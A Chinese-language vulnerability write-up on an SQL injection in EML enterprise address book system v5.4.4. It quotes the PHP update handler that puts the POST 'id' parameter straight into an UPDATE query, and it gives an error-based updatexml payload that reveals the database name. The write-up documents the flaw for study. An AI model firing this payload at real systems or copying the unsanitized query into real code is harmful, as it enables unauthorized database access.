eml企业通讯录管理系统 v5.4.4 SQL注入

漏洞描述

EML企业通讯录管理系统,是基于Linux开放性内核和Apache基础上Php+Mysql的智能B/S交互式服务系统。 eml企业通讯录管理系统 v5.4.4 更新个人信息页面ID参数过滤不严导致sql注入。

##漏洞分析##

```
if($do=="updata"){
    If_rabc($action,$do); //检测权限

    $name = _RunMagicQuotes($_POST[name]);
    $sex = _RunMagicQuotes($_POST[sex]);
    $tel = _RunMagicQuotes($_POST[tel]);
    $phone = _RunMagicQuotes($_POST[phone]);
    $email = _RunMagicQuotes($_POST[email]);
    $qq = _RunMagicQuotes($_POST[qq]);
    $deparyment = _RunMagicQuotes($_POST[deparyment]);
    $position = _RunMagicQuotes($_POST[position]);
    $address = _RunMagicQuotes($_POST[address]);

    if(!$_POST[id]){echo error($msg);exit;}
    $updated_at= time();
    $sql="UPDATE eml_user SET
    `name` = '$name',
    `sex` = '$sex',
    `deparyment` = '$deparyment',
    `position` = '$position',
    `phone` = '$phone',
    `tel` = '$tel',
    `email` = '$email',
    `qq` = '$qq',
    `address` = '$address',
    `updated_at` = '$updated_at' WHERE `id` ='$_POST[id]' LIMIT 1 ;";

    if($db->query($sql)){echo success($msg,"?action=address");}else{echo
error($msg);}
    exit;
}
```

通过代码可以看到 `$name`，`$sex`，`$tel` 等参数 都用了 `_RunMagicQuotes` 函数过滤，这边是没有注入点的。但是看倒数第三行，SQL语句中 update 语句的 id参数直接从 `$_POST[id]` 获取，导致SQL注入漏洞。

漏洞复现

登录eml通讯录管理系统，进入个人中心。

```
http://localhost/index.php?action=user&do=edit&id=1
```

然后直接点击保存，抓包。将post表单里的 id参数 修改为：`-1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#`，重放数据包，返回页面报错显示当前数据库名称。